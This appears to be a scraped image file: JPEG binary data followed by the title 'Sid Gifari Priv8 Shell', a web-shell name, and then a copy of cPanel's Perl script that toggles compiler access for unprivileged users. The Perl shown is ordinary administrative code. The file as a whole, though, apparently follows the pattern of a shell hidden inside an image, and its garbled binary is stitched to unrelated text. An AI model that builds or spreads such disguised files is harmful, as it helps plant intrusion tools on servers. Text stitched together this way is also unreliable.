���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��Sid Gifari Priv8 Shell #!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/compilers Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use warnings; use Cpanel::DataStore (); use Cpanel::NSCD (); use Cpanel::SSSD (); my $set = 0; my $enabled = int getcompilerstatus(); my $opt = $ARGV[0] // q{}; if ( $opt eq 'off' ) { $enabled = 0; $set = 1; } if ( $opt eq 'on' ) { $enabled = 1; $set = 1; } my $cstatus = Cpanel::DataStore::fetch_ref('/var/cpanel/compilerstatus.db'); if ( !defined $cstatus->{'enabled'} ) { $cstatus->{'enabled'} = $enabled; Cpanel::DataStore::store_ref( '/var/cpanel/compilerstatus.db', $cstatus ); } if ( $opt eq 'restore' ) { $enabled = int $cstatus->{'enabled'}; $set = 1; } if ( !$set ) { showcompilerstatus(); exit(); } $cstatus->{'enabled'} = int $enabled; Cpanel::DataStore::store_ref( '/var/cpanel/compilerstatus.db', $cstatus ); my @COMPILERS = qw( gcc cc c89 c99 cc1 g++ c++ kgcc .*-c++ .*-g++ ld ); my @SEARCHDIRS = qw( /usr/bin /usr/local/bin ); my @PROTECTDIRS = qw( /usr/lib/gcc-lib /usr/local/lib/gcc-lib ); if ( !getgrnam('compiler') ) { if ( -e '/usr/sbin/pw' ) { system( '/usr/sbin/pw', 'groupadd', 'compiler' ); } else { system( '/usr/sbin/groupadd', '-r', 'compiler' ); } Cpanel::NSCD::clear_cache('group'); Cpanel::SSSD::clear_cache(); } my $gid = int( ( getgrnam('compiler') )[2] ); foreach my $dir (@SEARCHDIRS) { foreach my $compiler (@COMPILERS) { if ( -e "${dir}/${compiler}" ) { if ($enabled) { chmod( 0755, "${dir}/${compiler}" ); } else { chmod( 0750, "${dir}/${compiler}" ); chown 0, $gid, "${dir}/${compiler}"; } } } } foreach my $protectdir (@PROTECTDIRS) { next unless opendir( PD, $protectdir ); my @FL = readdir(PD); @FL = grep( !/^\./, @FL ); close(PD); foreach my $fl (@FL) { if ($enabled) { chmod( 0755, "${protectdir}/${fl}" ); } else { chmod( 0750, "${protectdir}/${fl}" ); chown 0, $gid, "${protectdir}/${fl}"; } } } showcompilerstatus(); sub getcompilerstatus { my $cc = '/usr/bin/cc'; while ( readlink($cc) ) { $cc = readlink($cc); } if ( $cc !~ /^\// ) { $cc = '/usr/bin/' . $cc; } my $mode = ( stat($cc) )[2] & 0777; if ( $mode > 0750 ) { return 1; } return 0; } sub showcompilerstatus { if ( getcompilerstatus() ) { print "Compilers are enabled for unprivileged users.\n"; } else { print "Compilers are disabled for unprivileged users.\n"; } }